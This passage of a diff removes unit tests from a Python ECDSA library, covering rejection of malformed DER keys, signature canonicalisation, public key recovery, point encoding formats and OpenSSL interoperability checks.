VerifyingKey.from_der(to_decode) - - def test_vk_from_der_garbage_after_point_string(self): - type_oid_der = encoded_oid_ecPublicKey - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\x00\xff", None) + b"garbage" - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(der.UnexpectedDER): - VerifyingKey.from_der(to_decode) - - def test_vk_from_der_invalid_bitstring(self): - type_oid_der = encoded_oid_ecPublicKey - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\x08\xff", None) - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(der.UnexpectedDER): - VerifyingKey.from_der(to_decode) - - def test_vk_from_der_with_invalid_length_of_encoding(self): - type_oid_der = encoded_oid_ecPublicKey - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\xff" * 64, 0) - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_der(to_decode) - - def test_vk_from_der_with_raw_encoding(self): - type_oid_der = encoded_oid_ecPublicKey - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\xff" * 48, 0) - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(der.UnexpectedDER): - VerifyingKey.from_der(to_decode) - - def test_signature_strings(self): - priv1 = SigningKey.generate() - pub1 = priv1.get_verifying_key() - data = b"data" - - sig = priv1.sign(data) - self.assertEqual(type(sig), binary_type) - self.assertEqual(len(sig), NIST192p.signature_length) - self.assertTrue(pub1.verify(sig, data)) - - sig = priv1.sign(data, sigencode=sigencode_strings) - self.assertEqual(type(sig), tuple) - self.assertEqual(len(sig), 2) - self.assertEqual(type(sig[0]), binary_type) - self.assertEqual(type(sig[1]), binary_type) - self.assertEqual(len(sig[0]), NIST192p.baselen) - self.assertEqual(len(sig[1]), NIST192p.baselen) - self.assertTrue(pub1.verify(sig, data, sigdecode=sigdecode_strings)) - - sig_der = priv1.sign(data, sigencode=sigencode_der) - self.assertEqual(type(sig_der), binary_type) - self.assertTrue(pub1.verify(sig_der, data, sigdecode=sigdecode_der)) - - def test_sigencode_string_canonize_no_change(self): - r = 12 - s = 400 - order = SECP112r1.order - - new_r, new_s = sigdecode_string( - sigencode_string_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(s, new_s) - - def test_sigencode_string_canonize(self): - r = 12 - order = SECP112r1.order - s = order - 10 - - new_r, new_s = sigdecode_string( - sigencode_string_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(order - s, new_s) - - def test_sigencode_strings_canonize_no_change(self): - r = 12 - s = 400 - order = SECP112r1.order - - new_r, new_s = sigdecode_strings( - sigencode_strings_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(s, new_s) - - def test_sigencode_strings_canonize(self): - r = 12 - order = SECP112r1.order - s = order - 10 - - new_r, new_s = sigdecode_strings( - sigencode_strings_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(order - s, new_s) - - def test_sigencode_der_canonize_no_change(self): - r = 13 - s = 200 - order = SECP112r1.order - - new_r, new_s = sigdecode_der( - sigencode_der_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(s, new_s) - - def test_sigencode_der_canonize(self): - r = 13 - order = SECP112r1.order - s = order - 14 - - new_r, new_s = sigdecode_der( - sigencode_der_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(order - s, new_s) - - def test_sigencode_der_canonize_with_close_to_half_order(self): - r = 13 - order = SECP112r1.order - s = order // 2 + 1 - - regular_encode = sigencode_der(r, s, order) - canonical_encode = sigencode_der_canonize(r, s, order) - - self.assertNotEqual(regular_encode, canonical_encode) - - new_r, new_s = sigdecode_der( - sigencode_der_canonize(r, s, order), order - ) - - self.assertEqual(r, new_r) - self.assertEqual(order - s, new_s) - - def test_sig_decode_strings_with_invalid_count(self): - with self.assertRaises(MalformedSignature): - sigdecode_strings([b"one", b"two", b"three"], 0xFF) - - def test_sig_decode_strings_with_wrong_r_len(self): - with self.assertRaises(MalformedSignature): - sigdecode_strings([b"one", b"two"], 0xFF) - - def test_sig_decode_strings_with_wrong_s_len(self): - with self.assertRaises(MalformedSignature): - sigdecode_strings([b"\xa0", b"\xb0\xff"], 0xFF) - - def test_verify_with_too_long_input(self): - sk = SigningKey.generate() - vk = sk.verifying_key - - with self.assertRaises(BadDigestError): - vk.verify_digest(None, b"\x00" * 128) - - def test_sk_from_secret_exponent_with_wrong_sec_exponent(self): - with self.assertRaises(MalformedPointError): - SigningKey.from_secret_exponent(0) - - def test_sk_from_string_with_wrong_len_string(self): - with self.assertRaises(MalformedPointError): - SigningKey.from_string(b"\x01") - - def test_sk_from_der_with_junk_after_sequence(self): - ver_der = der.encode_integer(1) - to_decode = der.encode_sequence(ver_der) + b"garbage" - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_der_with_wrong_version(self): - ver_der = der.encode_integer(0) - to_decode = der.encode_sequence(ver_der) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_der_invalid_const_tag(self): - ver_der = der.encode_integer(1) - privkey_der = der.encode_octet_string(b"\x00\xff") - curve_oid_der = der.encode_oid(*(1, 2, 3)) - const_der = der.encode_constructed(1, curve_oid_der) - to_decode = der.encode_sequence( - ver_der, privkey_der, const_der, curve_oid_der - ) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_der_garbage_after_privkey_oid(self): - ver_der = der.encode_integer(1) - privkey_der = der.encode_octet_string(b"\x00\xff") - curve_oid_der = der.encode_oid(*(1, 2, 3)) + b"garbage" - const_der = der.encode_constructed(0, curve_oid_der) - to_decode = der.encode_sequence( - ver_der, privkey_der, const_der, curve_oid_der - ) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_der_with_short_privkey(self): - ver_der = der.encode_integer(1) - privkey_der = der.encode_octet_string(b"\x00\xff") - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - const_der = der.encode_constructed(0, curve_oid_der) - to_decode = der.encode_sequence( - ver_der, privkey_der, const_der, curve_oid_der - ) - - sk = SigningKey.from_der(to_decode) - self.assertEqual(sk.privkey.secret_multiplier, 255) - - def test_sk_from_p8_der_with_wrong_version(self): - ver_der = der.encode_integer(2) - algorithm_der = der.encode_sequence( - der.encode_oid(1, 2, 840, 10045, 2, 1), - der.encode_oid(1, 2, 840, 10045, 3, 1, 1), - ) - privkey_der = der.encode_octet_string( - der.encode_sequence( - der.encode_integer(1), der.encode_octet_string(b"\x00\xff") - ) - ) - to_decode = der.encode_sequence(ver_der, algorithm_der, privkey_der) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_p8_der_with_wrong_algorithm(self): - ver_der = der.encode_integer(1) - algorithm_der = der.encode_sequence( - der.encode_oid(1, 2, 3), der.encode_oid(1, 2, 840, 10045, 3, 1, 1) - ) - privkey_der = der.encode_octet_string( - der.encode_sequence( - der.encode_integer(1), der.encode_octet_string(b"\x00\xff") - ) - ) - to_decode = der.encode_sequence(ver_der, algorithm_der, privkey_der) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_p8_der_with_trailing_junk_after_algorithm(self): - ver_der = der.encode_integer(1) - algorithm_der = der.encode_sequence( - der.encode_oid(1, 2, 840, 10045, 2, 1), - der.encode_oid(1, 2, 840, 10045, 3, 1, 1), - der.encode_octet_string(b"junk"), - ) - privkey_der = der.encode_octet_string( - der.encode_sequence( - der.encode_integer(1), der.encode_octet_string(b"\x00\xff") - ) - ) - to_decode = der.encode_sequence(ver_der, algorithm_der, privkey_der) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sk_from_p8_der_with_trailing_junk_after_key(self): - ver_der = der.encode_integer(1) - algorithm_der = der.encode_sequence( - der.encode_oid(1, 2, 840, 10045, 2, 1), - der.encode_oid(1, 2, 840, 10045, 3, 1, 1), - ) - privkey_der = der.encode_octet_string( - der.encode_sequence( - der.encode_integer(1), der.encode_octet_string(b"\x00\xff") - ) - + der.encode_integer(999) - ) - to_decode = der.encode_sequence( - ver_der, - algorithm_der, - privkey_der, - der.encode_octet_string(b"junk"), - ) - - with self.assertRaises(der.UnexpectedDER): - SigningKey.from_der(to_decode) - - def test_sign_with_too_long_hash(self): - sk = SigningKey.from_secret_exponent(12) - - with self.assertRaises(BadDigestError): - sk.sign_digest(b"\xff" * 64) - - def test_hashfunc(self): - sk = SigningKey.generate(curve=NIST256p, hashfunc=hashlib.sha256) - data = b"security level is 128 bits" - sig = sk.sign(data) - vk = VerifyingKey.from_string( - sk.get_verifying_key().to_string(), - curve=NIST256p, - hashfunc=hashlib.sha256, - ) - self.assertTrue(vk.verify(sig, data)) - - sk2 = SigningKey.generate(curve=NIST256p) - sig2 = sk2.sign(data, hashfunc=hashlib.sha256) - vk2 = VerifyingKey.from_string( - sk2.get_verifying_key().to_string(), - curve=NIST256p, - hashfunc=hashlib.sha256, - ) - self.assertTrue(vk2.verify(sig2, data)) - - vk3 = VerifyingKey.from_string( - sk.get_verifying_key().to_string(), curve=NIST256p - ) - self.assertTrue(vk3.verify(sig, data, hashfunc=hashlib.sha256)) - - def test_public_key_recovery(self): - # Create keys - curve = BRAINPOOLP160r1 - - sk = SigningKey.generate(curve=curve) - vk = sk.get_verifying_key() - - # Sign a message - data = b"blahblah" - signature = sk.sign(data) - - # Recover verifying keys - recovered_vks = VerifyingKey.from_public_key_recovery( - signature, data, curve - ) - - # Test if each pk is valid - for recovered_vk in recovered_vks: - # Test if recovered vk is valid for the data - self.assertTrue(recovered_vk.verify(signature, data)) - - # Test if properties are equal - self.assertEqual(vk.curve, recovered_vk.curve) - self.assertEqual( - vk.default_hashfunc, recovered_vk.default_hashfunc - ) - - # Test if original vk is the list of recovered keys - self.assertIn( - vk.pubkey.point, - [recovered_vk.pubkey.point for recovered_vk in recovered_vks], - ) - - def test_public_key_recovery_with_custom_hash(self): - # Create keys - curve = BRAINPOOLP160r1 - - sk = SigningKey.generate(curve=curve, hashfunc=hashlib.sha256) - vk = sk.get_verifying_key() - - # Sign a message - data = b"blahblah" - signature = sk.sign(data) - - # Recover verifying keys - recovered_vks = VerifyingKey.from_public_key_recovery( - signature, - data, - curve, - hashfunc=hashlib.sha256, - allow_truncate=True, - ) - - # Test if each pk is valid - for recovered_vk in recovered_vks: - # Test if recovered vk is valid for the data - self.assertTrue(recovered_vk.verify(signature, data)) - - # Test if properties are equal - self.assertEqual(vk.curve, recovered_vk.curve) - self.assertEqual(hashlib.sha256, recovered_vk.default_hashfunc) - - # Test if original vk is the list of recovered keys - self.assertIn( - vk.pubkey.point, - [recovered_vk.pubkey.point for recovered_vk in recovered_vks], - ) - - def test_encoding(self): - sk = SigningKey.from_secret_exponent(123456789) - vk = sk.verifying_key - - exp = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - self.assertEqual(vk.to_string(), exp) - self.assertEqual(vk.to_string("raw"), exp) - self.assertEqual(vk.to_string("uncompressed"), b"\x04" + exp) - self.assertEqual(vk.to_string("compressed"), b"\x02" + exp[:24]) - self.assertEqual(vk.to_string("hybrid"), b"\x06" + exp) - - def test_decoding(self): - sk = SigningKey.from_secret_exponent(123456789) - vk = sk.verifying_key - - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - - from_raw = VerifyingKey.from_string(enc) - self.assertEqual(from_raw.pubkey.point, vk.pubkey.point) - - from_uncompressed = VerifyingKey.from_string(b"\x04" + enc) - self.assertEqual(from_uncompressed.pubkey.point, vk.pubkey.point) - - from_compressed = VerifyingKey.from_string(b"\x02" + enc[:24]) - self.assertEqual(from_compressed.pubkey.point, vk.pubkey.point) - - from_uncompressed = VerifyingKey.from_string(b"\x06" + enc) - self.assertEqual(from_uncompressed.pubkey.point, vk.pubkey.point) - - def test_uncompressed_decoding_as_only_alowed(self): - enc = ( - b"\x04" - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - vk = VerifyingKey.from_string(enc, valid_encodings=("uncompressed",)) - sk = SigningKey.from_secret_exponent(123456789) - - self.assertEqual(vk, sk.verifying_key) - - def test_raw_decoding_with_blocked_format(self): - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - with self.assertRaises(MalformedPointError) as exp: - VerifyingKey.from_string(enc, valid_encodings=("hybrid",)) - - self.assertIn("hybrid", str(exp.exception)) - - def test_decoding_with_unknown_format(self): - with self.assertRaises(ValueError) as e: - VerifyingKey.from_string(b"", valid_encodings=("raw", "foobar")) - - self.assertIn("Only uncompressed, compressed", str(e.exception)) - - def test_uncompressed_decoding_with_blocked_format(self): - enc = ( - b"\x04" - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - with self.assertRaises(MalformedPointError) as exp: - VerifyingKey.from_string(enc, valid_encodings=("hybrid",)) - - self.assertIn("Invalid X9.62 encoding", str(exp.exception)) - - def test_hybrid_decoding_with_blocked_format(self): - enc = ( - b"\x06" - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - with self.assertRaises(MalformedPointError) as exp: - VerifyingKey.from_string(enc, valid_encodings=("uncompressed",)) - - self.assertIn("Invalid X9.62 encoding", str(exp.exception)) - - def test_hybrid_decoding_with_inconsistent_encoding_and_no_validation( - self, - ): - sk = SigningKey.from_secret_exponent(123456789) - vk = sk.verifying_key - - enc = vk.to_string("hybrid") - self.assertEqual(enc[:1], b"\x06") - enc = b"\x07" + enc[1:] - - b = VerifyingKey.from_string( - enc, valid_encodings=("hybrid",), validate_point=False - ) - - self.assertEqual(vk, b) - - def test_compressed_decoding_with_blocked_format(self): - enc = ( - b"\x02" - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - )[:25] - with self.assertRaises(MalformedPointError) as exp: - VerifyingKey.from_string(enc, valid_encodings=("hybrid", "raw")) - - self.assertIn("(hybrid, raw)", str(exp.exception)) - - def test_decoding_with_malformed_uncompressed(self): - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x02" + enc) - - def test_decoding_with_malformed_compressed(self): - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x01" + enc[:24]) - - def test_decoding_with_inconsistent_hybrid(self): - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x07" + enc) - - def test_decoding_with_inconsistent_hybrid_odd_point(self): - sk = SigningKey.from_secret_exponent(123456791) - vk = sk.verifying_key - - enc = vk.to_string("hybrid") - self.assertEqual(enc[:1], b"\x07") - enc = b"\x06" + enc[1:] - - with self.assertRaises(MalformedPointError): - b = VerifyingKey.from_string(enc, valid_encodings=("hybrid",)) - - def test_decoding_with_point_not_on_curve(self): - enc = ( - b"\x0c\xe0\x1d\xe0d\x1c\x8eS\x8a\xc0\x9eK\xa8x !\xd5\xc2\xc3" - b"\xfd\xc8\xa0c\xff\xfb\x02\xb9\xc4\x84)\x1a\x0f\x8b\x87\xa4" - b"z\x8a#\xb5\x97\xecO\xb6\xa0HQ\x89*" - ) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(enc[:47] + b"\x00") - - def test_decoding_with_point_at_infinity(self): - # decoding it is unsupported, as it's not necessary to encode it - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x00") - - def test_not_lying_on_curve(self): - enc = number_to_string(NIST192p.curve.p(), NIST192p.curve.p() + 1) - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x02" + enc) - - def test_from_string_with_invalid_curve_too_short_ver_key_len(self): - # both verifying_key_length and baselen are calculated internally - # by the Curve constructor, but since we depend on them verify - # that inconsistent values are detected - curve = Curve("test", ecdsa.curve_192, ecdsa.generator_192, (1, 2)) - curve.verifying_key_length = 16 - curve.baselen = 32 - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x00" * 16, curve) - - def test_from_string_with_invalid_curve_too_long_ver_key_len(self): - # both verifying_key_length and baselen are calculated internally - # by the Curve constructor, but since we depend on them verify - # that inconsistent values are detected - curve = Curve("test", ecdsa.curve_192, ecdsa.generator_192, (1, 2)) - curve.verifying_key_length = 16 - curve.baselen = 16 - - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"\x00" * 16, curve) - - -@pytest.mark.parametrize( - "val,even", [(i, j) for i in range(256) for j in [True, False]] -) -def test_VerifyingKey_decode_with_small_values(val, even): - enc = number_to_string(val, NIST192p.order) - - if even: - enc = b"\x02" + enc - else: - enc = b"\x03" + enc - - # small values can both be actual valid public keys and not, verify that - # only expected exceptions are raised if they are not - try: - vk = VerifyingKey.from_string(enc) - assert isinstance(vk, VerifyingKey) - except MalformedPointError: - assert True - - -params = [] -for curve in curves: - for enc in ["raw", "uncompressed", "compressed", "hybrid"]: - params.append( - pytest.param(curve, enc, id="{0}-{1}".format(curve.name, enc)) - ) - - -@pytest.mark.parametrize("curve,encoding", params) -def test_VerifyingKey_encode_decode(curve, encoding): - sk = SigningKey.generate(curve=curve) - vk = sk.verifying_key - - encoded = vk.to_string(encoding) - - from_enc = VerifyingKey.from_string(encoded, curve=curve) - - assert vk.pubkey.point == from_enc.pubkey.point - - -if "--fast" in sys.argv: # pragma: no cover - params = [NIST192p, BRAINPOOLP160r1] -else: - params = curves - - -@pytest.mark.parametrize("curve", params) -def test_lengths(curve): - priv = SigningKey.generate(curve=curve) - pub1 = priv.get_verifying_key() - pub2 = VerifyingKey.from_string(pub1.to_string(), curve) - assert pub1.to_string() == pub2.to_string() - assert len(pub1.to_string()) == curve.verifying_key_length - sig = priv.sign(b"data") - assert len(sig) == curve.signature_length - - -@pytest.mark.slow -class OpenSSL(unittest.TestCase): - # test interoperability with OpenSSL tools. Note that openssl's ECDSA - # sign/verify arguments changed between 0.9.8 and 1.0.0: the early - # versions require "-ecdsa-with-SHA1", the later versions want just - # "-SHA1" (or to leave out that argument entirely, which means the - # signature will use some default digest algorithm, probably determined - # by the key, probably always SHA1). - # - # openssl ecparam -name secp224r1 -genkey -out privkey.pem - # openssl ec -in privkey.pem -text -noout # get the priv/pub keys - # openssl dgst -ecdsa-with-SHA1 -sign privkey.pem -out data.sig data.txt - # openssl asn1parse -in data.sig -inform DER - # data.sig is 64 bytes, probably 56b plus ASN1 overhead - # openssl dgst -ecdsa-with-SHA1 -prverify privkey.pem -signature data.sig data.txt ; echo $? - # openssl ec -in privkey.pem -pubout -out pubkey.pem - # openssl ec -in privkey.pem -pubout -outform DER -out pubkey.der - - OPENSSL_SUPPORTED_CURVES = set( - c.split(":")[0].strip() - for c in run_openssl("ecparam -list_curves").split("\n") - ) - - def get_openssl_messagedigest_arg(self, hash_name): - v = run_openssl("version") - # e.g. "OpenSSL 1.0.0 29 Mar 2010", or "OpenSSL 1.0.0a 1 Jun 2010", - # or "OpenSSL 0.9.8o 01 Jun 2010" - vs = v.split()[1].split(".") - if vs >= ["1", "0", "0"]: # pragma: no cover - return "-{0}".format(hash_name) - else: # pragma: no cover - return "-ecdsa-with-{0}".format(hash_name) - - # sk: 1:OpenSSL->python 2:python->OpenSSL - # vk: 3:OpenSSL->python 4:python->OpenSSL - # sig: 5:OpenSSL->python 6:python->OpenSSL - - @pytest.mark.slow - @pytest.mark.skipif( - "secp112r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp112r1", - ) - def test_from_openssl_secp112r1(self): - return self.do_test_from_openssl(SECP112r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp112r2" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp112r2", - ) - def test_from_openssl_secp112r2(self): - return self.do_test_from_openssl(SECP112r2) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp128r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp128r1", - ) - def test_from_openssl_secp128r1(self): - return self.do_test_from_openssl(SECP128r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp160r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp160r1", - ) - def test_from_openssl_secp160r1(self): - return self.do_test_from_openssl(SECP160r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_from_openssl_nist192p(self): - return self.do_test_from_openssl(NIST192p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_from_openssl_nist192p_sha256(self): - return self.do_test_from_openssl(NIST192p, "SHA256") - - @pytest.mark.slow - @pytest.mark.skipif( - "secp224r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp224r1", - ) - def test_from_openssl_nist224p(self): - return self.do_test_from_openssl(NIST224p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_from_openssl_nist256p(self): - return self.do_test_from_openssl(NIST256p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_from_openssl_nist256p_sha384(self): - return self.do_test_from_openssl(NIST256p, "SHA384") - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_from_openssl_nist256p_sha512(self): - return self.do_test_from_openssl(NIST256p, "SHA512") - - @pytest.mark.slow - @pytest.mark.skipif( - "secp384r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp384r1", - ) - def test_from_openssl_nist384p(self): - return self.do_test_from_openssl(NIST384p) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp521r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp521r1", - ) - def test_from_openssl_nist521p(self): - return self.do_test_from_openssl(NIST521p) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp256k1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp256k1", - ) - def test_from_openssl_secp256k1(self): - return self.do_test_from_openssl(SECP256k1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP160r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP160r1", - ) - def test_from_openssl_brainpoolp160r1(self): - return self.do_test_from_openssl(BRAINPOOLP160r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP192r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP192r1", - ) - def test_from_openssl_brainpoolp192r1(self): - return self.do_test_from_openssl(BRAINPOOLP192r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP224r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP224r1", - ) - def test_from_openssl_brainpoolp224r1(self): - return self.do_test_from_openssl(BRAINPOOLP224r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP256r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP256r1", - ) - def test_from_openssl_brainpoolp256r1(self): - return self.do_test_from_openssl(BRAINPOOLP256r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP320r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP320r1", - ) - def test_from_openssl_brainpoolp320r1(self): - return self.do_test_from_openssl(BRAINPOOLP320r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP384r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP384r1", - ) - def test_from_openssl_brainpoolp384r1(self): - return self.do_test_from_openssl(BRAINPOOLP384r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP512r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP512r1", - ) - def test_from_openssl_brainpoolp512r1(self): - return self.do_test_from_openssl(BRAINPOOLP512r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP160t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP160t1", - ) - def test_from_openssl_brainpoolp160t1(self): - return self.do_test_from_openssl(BRAINPOOLP160t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP192t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP192t1", - ) - def test_from_openssl_brainpoolp192t1(self): - return self.do_test_from_openssl(BRAINPOOLP192t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP224t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP224t1", - ) - def test_from_openssl_brainpoolp224t1(self): - return self.do_test_from_openssl(BRAINPOOLP224t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP256t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP256t1", - ) - def test_from_openssl_brainpoolp256t1(self): - return self.do_test_from_openssl(BRAINPOOLP256t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP320t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP320t1", - ) - def test_from_openssl_brainpoolp320t1(self): - return self.do_test_from_openssl(BRAINPOOLP320t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP384t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP384t1", - ) - def test_from_openssl_brainpoolp384t1(self): - return self.do_test_from_openssl(BRAINPOOLP384t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP512t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP512t1", - ) - def test_from_openssl_brainpoolp512t1(self): - return self.do_test_from_openssl(BRAINPOOLP512t1) - - def do_test_from_openssl(self, curve, hash_name="SHA1"): - curvename = curve.openssl_name - assert curvename - # OpenSSL: create sk, vk, sign. - # Python: read vk(3), checksig(5), read sk(1), sign, check - mdarg = self.get_openssl_messagedigest_arg(hash_name) - if os.path.isdir("t"): # pragma: no cover - shutil.rmtree("t") - os.mkdir("t") - run_openssl("ecparam -name %s -genkey -out t/privkey.pem" % curvename) - run_openssl("ec -in t/privkey.pem -pubout -out t/pubkey.pem") - data = b"data" - with open("t/data.txt", "wb") as e: - e.write(data) - run_openssl( - "dgst %s -sign t/privkey.pem -out t/data.sig 